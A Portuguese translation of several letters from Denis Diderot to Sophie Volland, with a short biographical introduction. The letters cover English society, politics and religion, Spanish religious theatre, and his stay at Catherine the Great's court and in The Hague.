Denis Diderot – Cartas a Sofia Volland

Denis Diderot – Cartas a Sofia Volland

Tradução de J. Brito Broca e Wilson Lousada
Fonte: Clássicos Jackson

D I D E R O T

Filho de um artesão de
Langres, Denis Diderot ali nasceu em 1713. Pez os primeiros estudos com os
jesuítas, na cidade natal, vindo terminá-los em Paris. Não tendo seguido a
carreira ecle­siástica para a qual fora destinado a princípio, pôs-se a lutar
ardorosamente pela vida, exercendo várias profissões. Ensinou matemática e
trabalhou em livrarias. Vida sempre difícil e pre­cária. Depois de certa época,
dedicou o melhor do seu labor à publicação da Enciclopédia, por ele
dirigida com a colaboração de grandes figuras da época. Esteve preso em
Vincennes por causa da impiedade de um dos seus escritos. Em 1773 visitou a
Rússia, como hóspede, de Catarina, a Grande, sua grande admi­radora. Morreu em
1784, deixando uma obra enorme, mas muito fragmentária, na qual podemos
destacar o seguinte: Pensées philosophiques (1746) ; Bijoux
indiscrets,
romance licencioso (1748); Lettres sur les aveugles (1749)
; Fils Naturel, teatro (1.757) ; Père de Famille, teatro (1758) ;
Salons, crítica de arte, de 1765 a 1767. Os romances Jacques le
Fataliste, Le Neveu de Rameau
e La Religieuse são publicações
póstumas.

 

CARTAS A SOFIA VOLLAND

Nenhuma obra de
Diderot dará ideia do seu tempera­mento expansivo, ardente e desbordante, do
seu espírito sempre alerta, numa actividade magnífica, como as cartas a Sofia
Volland, a mulher que por longo tempo amou. Diderot tê-la-ia conhecido por
voltas de 1755, quando já con­tava 42 anos e ela pouco menos do que isso. Quase
todas as informações sobre essa ligação amorosa nos vêm por intermédio das
cartas. Sofia devia possuir um espírito muito fino e culto para alimentar tão
abundante corres­pondência, onde existe verdadeira enciclopédia de pensa­mentos,
reflexões, observações. Aliás no século XVIII não. era difícil encontrar uma
mulher culta e bela na burguesia francesa. Segundo o próprio Diderot, Sofia
tinha a facul­dade de pensar e sentir, como mulher ou homem, segundo lhe
aprazia. E isso se percebe nas cartas. Diderot escreve a uma criatura amada e,
ao mesmo tempo, a um amigo inteligente.

 

 

CXVI

Paris, 6 de outubro de 1765

NÃO tenho mais,
não tenho mais ninguém a quem falar de vós. A solidão em que caí é horrível,
que… ah! Sofia, Sofia! fraca como és, se so­frêsseis a metade do que sofro,
não resistiríeis. Prometi-vos estudar as reflexões do barão sobre a Inglaterra,
e não tenho coisa melhor a fazer. Isto me distrai, di­verte e vos instrui. Não
acrediteis que a partilha da riqueza só seja desigual em França. Há duzentos
fidal­gos ingleses que têm cada um seis, sete, oito, nove, até mil e oitocentas
libras de renda; um clero numeroso que possui, como o nosso, um quarto dos bens
do Estado, mas que fornece proporcionalmente aos cargos públicos, o que o nosso
não faz; comerciantes de exorbitante opu­lência; julgai do pouco que fica aos
outros cidadãos. O monarca parece ter as mãos livres para o bem e atadas para o
mal; mas é tanto ou mais senhor de tudo quanto nenhum outro soberano. Em outros
lugares, a corte ordena e se faz obedecer. Lá, ela corrompe e faz o que lhe
agrada, e a corrupção dos súbditos é talvez pior com o tempo que a tirania. Não
há educação pública. Os colégios, sumptuosos edifícios, palácios comparáveis ao
nosso castelo das Tulherias, são ocupados por indolentes ricos, que dormem e se
embriagam uma parte do dia, enquanto empregam a outra em instruir
grosseiramente alguns aborrecidos aprendizes de ministros. O ouro que aflui à
capital das províncias e de todas as regiões da terra eleva a mão-de-obra a um
preço exorbitante, enco­raja o contrabando e faz cair as manufacturas. Seja por efeito do clima, seja
por efeito do uso da cerveja e dos licores fortes, das carnes suculentas, dos
contínuos ne­voeiros, da fumaça do carvão de pedra que o envolve sem cessar,
esse povo é triste e melancólico. Seus jar­dins são cortados por alamedas
tortuosas e estreitas; por toda parte encontra-se um visitante que se oculta e
quer ficar sozinho. Ali encontrareis um templo gótico, acolá uma gruta, uma
cabana chinesa, ruínas, obeliscos, cavernas, túmulos. Um particular opulento
mandou plantar um grande espaço de ciprestes. Espalhou, entre as árvores,
bustos de filósofos, urnas sepulcrais, már­mores antigos, sobre os quais se lê:
"Dies Manibus": Aos Manes; e o que o barão chama de cemitério romano,
esse particular chama de Eliseo. Mas o que acaba de caracterizar a melancolia
nacional é o seu modo de agir nesses edifícios imensos e sumptuosos, que eles
ergueram ao prazer. Ouvir-se-ia andar um camundongo. Cem moças empertigadas e
silenciosas aí passeiam em torno de uma orquestra colocada no meio, e onde se
executa a música mais deliciosa. O barão compara esses giros às sete procissões
dos egípcios em torno do mausoléu de Osíris. Eles possuem jardins públicos que
são pouco frequentados; mas, em compensação, o povo não fica mais comprimido
nas ruas do que em Westminster, cé­lebre abadia ornamentada com os monumentos
fúnebres de todas as pessoas ilustres da nação. Um dito encan­tador de meu
amigo Garrick é que Londres serve para os ingleses, mas. que Paris serve para
todos. Quando o barão visitou este célebre comediante, ele o levou por um
subterrâneo até a ponta de uma ilha formada pelo Tamisa. Aí encontrou uma
cúpola sustentada por colu­nas de mármore negro, e debaixo desta cúpola, em már­more
branco, a estátua de Shakespeare. "Eis, disse-lhe ele, o tributo de
gratidão que devo ao homem que fez minha fama, minha fortuna e meu
talento". O inglês é jogador; joga quantias pavorosas, joga sem falar,
perde sem queixar-se, gasta num momento todos os recursos da vida: nada mais comum do que encontrar um homem de trinta anos
tornado insensível à riqueza, ao prazer da mesa, às mulheres, ao estudo e até
às obras de caridade. O tédio se apodera deles no meio das delícias e os leva
ao Tamisa, a não ser que prefiram queimar os miolos. Há, num sítio afastado do
parque de Saint-James, um lago que é privilégio exclusivo das mulheres; é aí
que elas se vão afogar. Ouvi um facto bem capaz de encher de tristeza uma alma
sensível: o barão é levado a casa de um homem encantador, cheio de amenidade e
polidez, afável, instruído, opulento, honrado; este homem parece ter afinidade
com ele; liga-os a mais estreita amizade; vivem juntos e separam-se com
desgosto. O barão re­gressa à França; seu primeiro cuidado é agradecer a esse
inglês as finezas que dele recebera e reiterar-lhe os sentimentos de
devotamento e estima que lhe dedica. Já havia escrito metade da carta quando
lhe anunciam que, dois dias depois de sua partida de Londres, esse homem dera
um tiro nos miolos. Mas o que é singular é que esse desgosto pela vida, que os
leva de país a país, não os deixa; e que o inglês que viaja é muitas vezes o
homem que sai de seu país para ir matar-se em outro. Não é que ainda agora um
acaba de atirar-se no Sena! Reti-raram-no vivo; levaram-no ao Grand Chatelet e
foi pre­ciso que o embaixador interpusesse sua autoridade para impedir que o
condenassem. O senhor Hume nos dizia há’ alguns dias que nenhuma negociação
política o havia intrigado tanto como este caso; e que fora obrigado a ir vinte
vezes procurar o magistrado antes que pudesse fazer-lhe compreender que não
havia, em nenhum tra­tado da França com a Inglaterra, um artigo que proi­bisse
a um inglês afogar-se no Sena, sob pena de ser enforcado; acrescentava que, se
o seu compatriota ti­vesse sido preso, ter-se-ia arriscado a perder a vida
ignominiosamente por não se ter afogado. Se os ingle­ses são

Os ingleses têm como nós a mania de converter. Seus missionários
embrenham-se nas florestas para levar nosso catecismo aos selvagens. Houve um
chefe de tribo que disse a um desses missionários: "Meu irmão, olha minha
cabeça; meus cabelos estão completamente gri­salhos; de boa-fé acreditas que
se possa fazer um homem da minha idade crer em todas essas tolices? Mas eu
tenho três filhos. Não te dirijas ao mais velho, tu o farias rir; mas
apodera-te do
menor, a quem persuadirás de tudo o que quiseres". Um
outro missionário pregava a outros selvagens nossa santa religião, e a pregação
se fazia por um intérprete. Os selvagens, depois de terem ouvido algum
tempo, mandaram perguntar ao missio­nário o que se lucraria com tudo aquilo. O
missionário respondeu ao intérprete: "Respondei-lhes que serão os
servidores de Deus". "Isso não, por favor, — replicou o intérprete ao
missionário: eles não querem ser servi­dores de ninguém". — "Pois
então, — disse o missio­nário, — dizei-lhes que serão os filhos de Deus".
— "Isto é melhor, — replicou o intérprete". Com efeito, a res­posta
agradou aos selvagens. Uma vez que tratamos desse assunto, ainda um facto que
eu soube por M. Hume, e que vos ensinará o que se deve pensar dessas pretensas
conversões de canibais ou de hurons. Um pastor acreditava ter feito uma pequena
obra-prima nesse género: teve a vaidade de mostrar seu prosélito; levou-o pois
a Londres. Interrogam o pe­queno huron; ele responde maravilhosamente.
Condu-zem-no à capela; admitem-no à ceia ou comunhão que, como sabeis,
se faz sob duas espécies; depois da ceia diz-lhe o pastor: "Então, meu
filho, não se sente você mais animado pelo amor de Deus? A graça do
sacra­mento não age em você? Sua alma não se sente arden­te?" "Sim, —
respondeu o pequeno huron, — o vinho faz muito bem, mas se me tivessem
dado aguardente, acredito que ainda seria melhor". A religião cristã está
quase extinta em toda a Inglaterra. Os deístas são numerosos, quase não
há ateus; os que o são se escon­dem. Um ateu e um celerado são quase sinónimos
para os ingleses. A primeira vez que M. Hume se encontrou à mesa do barão,
sentou-se ao lado deste. Não sei a propósito de que o filósofo inglês achou que
devia dizer ao barão que não acreditava nos ateus, criaturas que ele jamais vira.
O barão lhe disse: "Contai quantos somos aqui". Éramos dezoito. O
barão acrescentou: "Não erraríamos muito apontando quinze à primeira
vista: os outros três não sabem o que pensar".

Um povo que acredita que é a crença num Deus e não as boas leis que fazem
criaturas honestas, não me parece adiantado. Trato da existência de Deus,
relativamente a um povo, como o casamento. Um é um estado, o outro uma noção
excelente para três ou quatro cabeças bem pensantes, mas funesta para a
generalidade. O voto do casamento indissolúvel faz e deve fazer quase tantos
infelizes quantos esposos. A crença em Deus faz e deve fazer quase tantos
fanáticos quanto crentes. Em toda a parte onde se admite um Deus, há um culto;
em toda a parte onde há um culto, a ordem natural dos deveres morais fica
invertida e a moral corrompida. Cedo ou tarde, chega um momento em que a noção
que impediu de furtar um escudo faz degolar cem mil homens. Bela compensação!
Tal foi, tal é, tal será em todos os tempos e em todos os povos o efeito de uma
doutrina a que se dará mais importância que à própria vida. Um inglês’ achou
bom publicar uma obra contra a imortalidade da alma; deram-lhe pelos jornais
uma resposta bem cruel. Era um agradecimento concebido nesses termos:
"Todos nós, prostitutas, proxenetas, ladrões de estrada, assassi­nos,
patifes, pastores, soberanos, rendemos nossos hu­mílimos agradecimentos ao
autor do Tratado contra a imortalidade da alma, por nos ter ensinado que, se
fôsse­mos bastante espertos para fugir aos castigos deste mundo, nada teríamos
a temer no outro". Isto basta a respeito dos ingleses; minha
fantasia agora
é dizer-vos uma palavra a propósito dos espanhóis. Devo-as ao barão de Gleiken,
que foi embaixador da Dinamarca em Madrid, e que é actualmente embaixador da
Dinamarca na França. Realizamos, há algum tempo, em sua casa, um desses
jantares elegantes de que vos falei algumas vezes. Depois desse jantar elegante
pelo serviço, delicado pelas iguarias, encantador pela palestra, ouvimos a mais
agradável música; depois, a leitura dos três primeiros cantos de um poema ao
gosto de Ariosto; após a leitura, ainda música, em seguida a palestra e o
passeio. A propósito da literatura espa­nhola, para dar-nos uma ideia do que
fosse, o barão nos fez a análise de uma das suas melhores comédias santas que
ele vira representar. O teatro mostrava um templo inteiro, o Santíssimo
Sacramento exposto e toda uma multidão orando. O cenário mudava, e o teatro
mostrava uma feira com lojas entre as quais existiam três de que uma era a loja
da Morte, a segunda a loja do Pecado, e entre essas duas últimas, a terceira, a
loja de Jesus Cristo. Cada uma tinha sua tabuleta; cada uma cha­mava os
fregueses; o Pecado não sentia falta de fregue­ses e muito menos a Morte; mas o
pobre negociante Jesus esperava em vão, na sua, e, cansado de não fazer
negócio, aborrecia-se; o cenário mudava e viam-no ar­mado de um chicote, com a
Virgem Maria armada de outro, castigando e expulsando diante deles a Morte, o
Pecado e todos os seus fregueses.

O
actual núncio do Papa imaginou que essas espécies de peças aviltavam a
religião, e pediu sua supressão ao ministério público. Por única resposta,
mandaram-no à plateia do teatro, na primeira representação da peça de que acabo
de falar. Com efeito, acrescentava o barão de Gleiken, as palavras das
multidões prosternadas dian­te do Santíssimo Sacramento eram do maior patético
e da mais alta eloquência; e os ouvintes, fundindo em lágrimas, cheios de
arrependimento, batiam no peito aos socos: é que o que hoje vos faz rir ontem
fez chorar; e o
que faz chorar o espanhol de hoje, há-de fazê-lo rir um dia.

Quem
acreditará que… que tudo isto é a carta de um amante terno e apaixonado à sua
bem amada? Nin­guém. Nem por isso o facto é menos verdadeiro.

Eu
vos julgava farta da Inglaterra e dos ingleses. Torno a levar-vos para lá,
entretanto, para provar-vos quanto um viajante e um viajante pouco se parecem.
Helvetius regressou de Londres apaixonado pelos ingle­ses. O barão voltou, mas
voltou desiludido. O primeiro escreveu ao segundo: "Meu
amigo, se, como não duvido, você alugou uma casa em Londres, escreva-me bem de­pressa
para que eu prepare minha esposa e meus filhos, e vá reunir-me a você". O
outro respondia: "Esse pobre Helvetius, ele só viu na Inglaterra as
perseguições que seu livro lhe proporcionou em França".

Jantámos duas vezes em casa da querida irmã com o senhor de Neufond. Na
primeira vez, ele esteve muito bem; bebeu, riu, brincou, conversou, jogou,
ganhou e esteve alegre; na segunda vez, esteve triste, mas triste como nunca.
Não falou à mesa; ao deixá-la, calou-se; deixou-se ficar a um canto, de costas
para os presentes, a cabeça erguida, fixada na porta, o rosto inflamado e o
olhar como o de um furioso. Compreendeis alguma coisa de tudo isto? Poderíeis
adivinhar com quem ele estava furioso? Mlle. Boileau sempre pretende que ele
está ciumento; a querida irmã estava cheia de cuidados por isto; acha que ele
estava entristecido com o meu bom humor. O relógio está marcando meia-noite;
boa noite, minha amiga, boa noite. Quando poderei, a mesma hora, dizer-vos boa
noite de viva voz? Estou bem can­sado de dormir tão longe de todas vós. Se esta
carta seguir amanhã, bem podereis receber quatro ao mesmo tempo,

 

 

 

CXIX

Paris, 12 de novembro de 1765.

Meu respeito a todas as senhoras.

É
inútil prevenir-vos que deixei o isolamento e que estou novamente metido no
turbilhão, circulando com todos os seres bizarros que o compõem, eu mesmo cria­tura
tão bizarra como nenhum dos meus vizinhos. Sc eu tomasse em consideração todas
as loucuras que se dizem e fazem, não ficaria muito diferente de um homem muito
gordo que se queixava da multidão; e alguém bem poderia dizer-me como a ele:
"Então! grande barril, gritas contra a multidão e és tu que a fazes; se os
que aqui estão tivessem cada um apenas a metade do teu volume, seria preciso
que se fossem ou se deixassem abafar". Já que não somos muito ajuizados,
deixemos que os outros sejam loucos. Como fosse meu projecto retomar a história
de minha vida, logo que o fim de minha tarefa me deixasse em liberdade,
rabisquei pe­quenas notas numa folha solta que se tornou, por lapso de tempo,
um logogrifo a decifrar. Não entendo mais nada. Eu vos falava, creio, da viagem
do barão e dos ingleses, quando me interrompi. E leio no alto de minha agenda:
não é nas condições subalternas, não é o homem que trabalha da manhã à noite,
aquele que, reduzido à miséria, se vê constrangido a lutar com todas as forças
por suas necessidades, pelo trabalho; é aquele que nas­ceu na opulência, que
esgotou todos os gozos, o que se aborrece da vida e que se vai afogar no
Tamisa. Não acrediteis que por causa dessa maravilhosa balança dos três
estados da nação, essas criaturas sejam melhor governadas que nós. Um
soberano que tem objectivos dignos e que deseja algumas vezes sacrificar as
prerro­gativas à felicidade da nação, nem sempre pode fazer isto: serve de
exemplo Guilherme I que, no intuito de impedir que seus sucessores se
tornassem senhores abso­lutos das deliberações, pela facilidade de criar a
vontade um número ilimitado de pares ou membros da Câmara Alta, propôs à Câmara
Baixa fixar irrevogavelmente os direitos do soberano sobre essas criações; e
cuja pro­posta, por mais vantajosa que fosse para a liberdade pública, foi
rejeitada quase unanimemente pelos repre­sentantes da nação, que sacrificaram
nesse momento o interesse geral, à esperança que cada um deles podia ter de se
tornar par um dia, ao sabor da vontade do soberano, cujo favor acabaria
restringido se sua pro­posta tivesse sido aceita. Eis o que chamamos patriotas,
cidadãos. Patriotismo, república, amor à pátria, bonitas
palavras! bem respeitáveis, bem velhas, bem fora da moda, bem vazias de
sentido, o pretexto mais honesto para amenizar o interesse pessoal, subterfúgio
que nunca se deixa de usar, quando se pode, e que se deixa de lado,
impudentemente, quando se trata de tomar partido pela pátria contra si mesmo.
Quereis um exem­plo chocante? Um homem honesto, não se sabe por que motivo,
propôs na Câmara dos Comuns mandar prestar juramento a todos aqueles que
viessem das diferentes províncias, para ocupar um lugar na qualidade de repre­sentantes,
que não tinham comprado o sufrágio de seus concidadãos, e que tinham sido
livre, voluntária e desin­teressadamente eleitos. Pensais que uma proposta tão
honesta pudesse ser rejeitada? Pensais que os homens pudessem ter dose tão
forte de impudência para acusar–se a si próprios do crime de suborno,
opondo-se franca­mente a uma precaução tomada contra o suborno futuro? Pois
bem, a proposta foi rejeitada e tiveram esse despu­dor. É que as corporações
legislativas não têm fé, nem lei nem probidade. Nada revela tanto quanto é
detesta-

vel a natureza humana
como a facilidade com que se con­sente nas piores acções, quando a desconfiança
é mútua e ninguém responde pessoalmente pelo mal que se pratica. Não é pois o
amor ao bem, ao justo, ao equitável, ao honesto que governa o homem; é a
vergonha, o receio da censura, a perda da consideração. É um interesse que
contrabalança outro.

Apesar da
enorme riqueza dos poderosos, não há faus­to nem luxo nem móveis preciosos, nem
grande e imensa criadagem. Mas como a nação não tem escultor, nem pintor,
porque não possui arquitectos nem palácios, e a tela colorida e a pedra talhada
estão expulsas dos tem­plos pela natureza do culto, eles têm a mania dos qua­dros,
mas dos quadros antigos; das pedras gravadas, mas das antigas; das estátuas,
mas das estátuas antigas; compram tudo quanto encontram, sem gosto nem esco­lha,
consagrando-lhes quantias enormes e, o que prova que essas aquisições não são
de conhecedores, é que nesses mesmos salões, vestíbulos e galerias, onde essas
antiguidades estão amontoadas como nas lojas de bel­chiores, vemos as coisas
mais preciosas e mais delica­das confundidas com peças medíocres, detestáveis
até, que têm por único merecimento terem permanecido de­baixo da terra dois mil
anos, e que foram aceitas somente por causa da sua velhice; essas antiguidades,
seus jardins exóticos e seus palácios góticos, eis o único objectivo de suas
despesas, com as quantias avultadas que são obri­gados a distribuir a seus
vassalos, as refeições que lhes oferecem, os. vinhos caríssimos de França com
que são obrigados a embriagar num dia duzentas pessoas que lhes absorvem os
imensos rendimentos. Quereis conhecer em suma o resultado dessas eleições
venais? Ide sabê-lo. Esse monarca ávido pensou aproveitar-se de um imposto sobre
todas as bebidas; esse imposto, que causou grande alvoroço, chamava-la ciza.
Como era uma sobrecarga para todos, todos protestaram. As províncias, julgaram
de bom aviso notificar aos seus representantes, por emissários, que se
opusessem ao imposto projectado quando disso se tratasse na Câmara. Um desses
representantes, após ter feito esperar durante duas horas, no seu salão, os
emissários da sua província, recebeu-os no seu gabi­nete.

"Então, meus senhores, disse ele ao recebê-los, de que se
trata?" Os emissários se explicam. O representante os escuta; depois eis a
resposta com que os despede: "Não, meus senhores, por minha fé isto não
acontecerá. Eu vos comprei muito caro, e meu intento é vender-vos o mais caro
que pude?". Eis o admirável governo inglês, de que o presidente
Montesquieu falou tão bem, sem co­nhecê-lo. Considerai, minha amiga, que a
máxima salus populi suprema lex esto é uma bela sentença e nada mais.
Aquela que se observa, observou-se e observar-se-á em todos os tempos, é
salus dominantium suprema lex esto.
É do pastor e não do rebanho que a lei
é salvaguarda, com esta diferença, que o pastor de gado tem a intenção de
levar, às melhores pastagens, o boi que ele deve de­vorar; ao passo que o
soberano pastor nos leva esquelé­ticos para o açougue. Aliás, o mesmo acontece
lá como aqui. Aqui há dois poderes e discussões perpétuas a res­peito das
prerrogativas de ambos. Lá, há três, os Co­muns, os Pares e o Monarca, e
discussões perpétuas a respeito das prerrogativas desses três poderes. Um ci­dadão
qualquer perguntava a um célebre advogado qual era o limite do poder dos Pares
e o que se podia fazer sem ultrapassar esse limite. O advogado respondeu:
"fazer esta pergunta e respondê-la é ultrapassar o li­mite".

Nossos
ministros não são talvez muito bons; mas pro­curemos contentar-nos com eles já
que em outras terras não são melhores. Nossa sociedade está talvez mal admi­nistrada,
mas é condição comum a todas as sociedades. É certo que todo o poder que não
tiver por objectivo a felicidade- geral é ilegítimo. É preciso concordar .com
isso; mas apontem-me sobre a terra um único poder legítimo nesse sentido.
Seríamos tão loucos chegando a desejar que houvesse uma administração única,
feita propositalmente de acordo com os nossos desejos? Tenho por costume
consolar-me de todos os males que suporto com todos os meus concidadãos; por
que não me confor­maria com um mal comum a todos os homens? Eis, mi­nha amiga,
um pequeno esboço de nossas palestras; se vos agradarem, continuarei. Um dos
nossos que leu atentamente a história, fez uma observação singular: é que o
despotismo papal fora no começo absoluto sobre os ingleses, que dele se
livraram completamente, e é do mais duro e terrível peso sobre os espanhóis,
para quem o Papa, no começo, não passava de um pequeno bispo estrangeiro sem
autoridade, sem influência e sem impor­tância. No começo do estabelecimento do
cristianismo na Espanha, eram as vozes que presidiam aos concílios e decidiram
indistintamente dos casos de fé e de interesse. A pessoa que observou essa
esquisitice, explicou-a em duas palavras, dizendo que os papas nada eram, com
efeito, quando a Espanha se converteu; e que estavam pelo contrário à frente de
todas as suas loucas preten­sões .quando o evangelho passou para a Inglaterra,
e que acreditava simplesmente que o evangelho aí fora recebi­do conforme era
pregado. O que aconteceu na Espanha, aconteceu também em Portugal. Houve
entretanto, nes­ses últimos tronos, mesmo nos séculos bárbaros, sobera­nos que
procuraram sacudir o jugo do clero. No século XII, pensai, minha amiga,
o que é o século XII, eis o que fez um D. Sancho de Portugal.
Um padre mandara cons­truir uma casa. O pedreiro não o serviu a contento, e
construiu um muro onde não se devia e o padre o matou. No mesmo instante eis o
referido padre chamado ao tri­bunal da oficialidade e suspenso das suas funções
por um ano. D. Sancho ficou revoltado que um celerado, poi­ser padre, sofresse
tão pequeno castigo. Sabeis o que ele fez? Esse pedreiro tinha um filho; mandou
aconse­lhar ocultamente ao filho que matasse o padre, assassino de seu pai. O
conselho foi seguido. Arrastam o filho do pedreiro perante os tribunais leigos;
foi condenado a morte. Mas era preciso que a sentença fosse sancionada pelo
monarca, que escreveu em baixo, quando lha apre­sentaram para assinar:
"Suspenso de suas funções por um ano. É-lhe vedado manejar a pá de
pedreiro antes de um ano". Logo que minha carta chegar a Isle, Mlle.
Melanie, apressai-vos, parti, vinde e vos faço ouvir o rei dos instrumentos e
dos músicos. O instrumento chama-se pantaleone e o músico Osbruk. O pantalcone
é uma espé­cie de psaltério de 4 pés de largura e 9 de comprimento, com 74
tons. Não quero dizer mais, haveria com que em­panar toda a felicidade de vossa
vida. Bom dia, minha amiga. Preferis que eu vos diga que me aborreço longe de
vós, ardo do desejo de rever-vos, do que transimitir-vos essas ideias sérias e
essas filosofias que nada têm de comum com a minha paixão e a vossa. Transmiti
meus respeitos a todas as vossas amigas.

 

 

 

 

CLXXXVI

Haia, 15 de
junho de 1774 Minhas senhoras e boas amigas

Não
fiz uma viagem apenas agradável; fiz uma viagem bastante honrosa. Trataram-me
como representante das pessoas honestas e hábeis de meu país. Dou a mim mes­mo
esse título, quando comparo os sinais de distinção com que me cumularam com os
que eu tinha o direito de esperar somente pela minha pessoa. Ia com a recomen­dação
do favor, muito mais segura ainda que a do mé­rito; e eis o que disse a mim
mesmo: "Serás apresentado à imperatriz; agradecerás; ao fim de um mês, ela
dese­jará talvez rever-te e te fará algumas perguntas; ao fim de outro mês,
despedir-te-ás dela e regressarás". Não concordam, boas amigas, que seria
assim que as coisas se teriam passado em outra corte qualquer que não a de
Petersburgo ?

Aí, ao
contrário, a porta do gabinete da soberana está aberta para mim todos os dias,
desde três horas da tarde até as cinco e às vezes até as seis. Entro, fazem-me
sen­tar, e converso com a mesma liberdade que me concedeis; ao sair, sou
obrigado a confessar a mim mesmo que tinha, alma de escravo no país que dizem
ser o dos homens li­vres, e que me encontrei com a alma de um homem livre no
país que dizem ser o dos escravos. Ah! minhas ami­gas, que soberana! que mulher
extraordinária! Não acusarão meu elogio de venalidade, porque coloquei os mais
estreitos limites à sua munificência; é preciso que me acreditem, quando eu a
pintar com suas próprias palavras; será preciso que todas vós digais que
ela tem a
alma de Brutus sob a aparência de Cleópatra; a firmeza de um e as seduções da
outra; uma compos­tura inacreditável nas ideias com toda a graça e a sub­tileza
possíveis de expressão; o amor à verdade levado tão longe quanto é possível; o
conhecimento dos negó­cios de seu império, como o tendes dos assuntos domés­ticos;
eu vos direi tudo isto, mas quando? Por minha fé, gostaria que fosse daqui a
oito dias, porque é pre­ciso menos para ir da Haia a Paris com a velocidade com
que voltei de Petersburgo à Haia. Mas Sua Majes­tade Imperial e o general
Betzky, seu ministro, encarregaram-me da edição do plano e dos estatutos dos
dife­rentes estabelecimentos que a soberana fundou em seu império para a
instrução da juventude e a felicidade do todos os seus súbditos. Irei o mais
depressa possível, pois não duvideis, boas amigas, que eu esteja tão apressado
em reunir-me aos que me são caros quanto eles podem estar em me rever. Ficai
sabendo, enquanto isto, que se realizaram três milagres em meu favor: o
primeiro, qua­renta e cinco dias de bom tempo sem interrupção para ir; o
segundo, cinco meses sucessivos numa corte, sem dar pasto à malignidade; e isto
com uma franqueza de carácter pouco comum e que-nos expõe às intrigas dos
cortesãos invejosos e astuciosos; o terceiro, trinta dias ininterruptos de uma
estação sem igual, para voltar, sem outro acidente além de carros partidos:
mudámos de con­dução quatro vezes. Quantos detalhes interessantes eu vos
reservo para o cantinho da lareira! Começo a per­der os traços da velhice que a
fadiga me proporcionou; seria para mim tão bom encontrar-vos de perfeita saúde,
que me entretenho com esta esperança. Confio muito nos cuidados de Mme. de
Blacy e nos de Mme. Bouchard’. Cumprimento e beijo a ambas. Mme. Bouchard, que
não perdoa facilmente uma bagatela, me permitirá aparente­mente guardar um
longo e profundo ressentimento de um mal que ainda não esqueci. A primeira
vez que virdes o senhor Gaschon, dizei-lhe que, se seu negócio não está, feito,
não é porque eu o tenha esquecido; as circuns­tâncias não eram propícias ao
êxito num país onde a so­berana calcula. Vi Euler, o bom e respeitável Euler,
várias vezes; é o autor dos livros de que vosso sobrinho precisa. Espero que
ele fique satisfeito. A princesa de Gallitzin havia tratado do caso antes da
minha partida, e desde a minha chegada, o príncipe Henry encarregou–se do
assunto. Dir-me-eis: por que confiar aos outros aquilo de que podemos cuidar
pessoalmente? É que a edição de um dos volumes em Petersburgo se esgotou, e a
edição do outro volume foi feita em Berlim, onde não quis passar, embora fosse
convidado pelo rei. Não foi a água do Neva que me fez mal, foi um duplo ataque
de inflamação de intestinos, com diarreia; foram cólicas e um terrível resfriado
causados pelo rigor do frio em Petersburgo durante minha estada; foi uma queda
numa barca em Mitau, ao voltar, que quase me mataram; mas a dor da queda e os
outros acidentes se dissiparam; e se a vossa saúde fosse mais ou menos tão boa
quanto a minha, ficaria satisfeitíssimo convosco.

Deixei Grimm
doente em Petersburgo; está convales­cente e prestes a voltar; regressa com a
alma cheia de dor: a. landgravina de Armstadt, que ele acompanhara, sua amiga,
mãe da grã-duquesa, acaba de falecer. Não poderia dizer-vos da extensão da
perda que ele experi­menta com a morte dessa mulher. Minha filha participa-me
que, durante minha ausência, fostes bondosa com ela; agradeço-vos. Nada temais
por minha saúde; reco­lhemos cedo, e raramente ceamos. Ainda não tenho co­ragem
para trabalhar; é preciso deixar que o tempo con­solide meus membros
deslocados; é problema a ser re­solvido pelo sono; também, desde minha volta,
durmo oito a nove horas seguidas. O príncipe tem seu trabalho político; a
princesa leva uma vida que não é mais com­patível com a juventude, com a
subtileza de seu espírito e o gosto frívolo de sua idade; pouco sai, quase não
recebe, tem professores de história, de matemáticas, de línguas; abandona sem
custo um grande jantar na corte para voltar a casa na hora da lição, ocupa-se
em agra­dar ao marido; cuida pessoalmente da educação dos fi­lhos; renunciou
aos trajes pomposos; levanta-se e deita-se cedo, e minha vida está de acordo com
a da sua casa. Divertimo-nos em questionar como verdadeiros demó­nios; nem
sempre estou deacordo com a princesa, em­bora ambos estejamos contagiados pela
anticomania, e pareça que o príncipe tenha tomado a sério contradizer–nos em
tudo; Homero é um bobalhão; Plínio, um tolo chapado; os chineses, as criaturas
mais honestas da terra, e assim por diante. E, como todos esses indiví­duos não
são nem nossos primos, nem nossos amigos íntimos, só animam a discussão a
alegria, a vivacidade, a brincadeira, com uma pequena ponta de amor próprio que
serve para temperá-la. O príncipe, que tantos qua­dros adquiriu, prefere
confessar que nada entende de pintura a conceder a algum amador o mérito de
enten­dido no assunto. Bom dia, boas amigas; aceitai meu terno respeito, e
acreditai-me inteiramente vosso, como fui e serei toda a minha vida.

 

 

CLXXXVII

Haia, 3 de
novembro de 1774

Minhas senhoras e boas amigas

Minhas malas foram ontem embarcadas para Soter­dão; aqui só me resta o
que se pode fechar numa valise para uma viagem de cinco a seis dias. O príncipe
e a princesa de Gallitzin fazem o possível para me reter até o fim do mês;
pretendem que deveria esperar, ao lado deles, a última resolução da corte da Rússia
sobre um projecto cuja realização a própria imperatriz fixou para o mês
corrente; mas esse projecto não tem fundamento. A edição de sua obra ainda não
está acabada; concedi, em pensamento, oito dias ao impressor; passado esse
prazo, quem quiser que acabe a tarefa. Apesar de todas as atenções de meus
hospedeiros, apesar da beleza da estada na Haia, estou emagrecendo; é preciso
rever-vos todos. A quem me dissesse, quando parti de Paris, que uma viagem que
eu imaginava de cinco a seis meses seria quase três vezes mais longa, eu
responderia que o profeta estaria mentindo. Enfim, vou regressar ao lar para
não mais deixá-lo em minha vida; o tempo em que se conta por anos passou, e o
em que é preciso contar por dias chegou; quanto menos rende juros esse tempo,
mais importa empregá-lo bem. Tenho talvez ainda uma de­zena de anos a viver.
Desses dez anos, os resfriados, os reumatismos e os rebentos dessa família
incómoda toma­rão dois ou três; tratemos de economizar os outros sete para o
repouso e para as pequenas felicidades que se po­dem antever além dos sessenta.
Eis o meu projecto, no qual espero queirais ajudar-me. Pensei que as fibras
do coração
se encolhiam com a idade; nada disso; acho que minha sensibilidade aumentou;
tudo me impressiona, tudo me aflige; serei o mais insigne choramingas entre os
velhos que jamais conhecestes. Adeus, minhas senho­ras e boas amigas; ainda um
pouco e ver-nos-emos outra vez. Eu vos saúdo e abraço de todo o coração.
Senhora de Blacy, dizem que, durante minha ausência, alguém me suplantou. Se
continuastes a ser o que sempre fostes, teríeis agido melhor conservando minha
amizade. Se vos despojastes da rigidez de vossos princípios, eu vos felicito
pela vossa perversão e inconstância. Como serei beijado por Mme. Bouchard, se
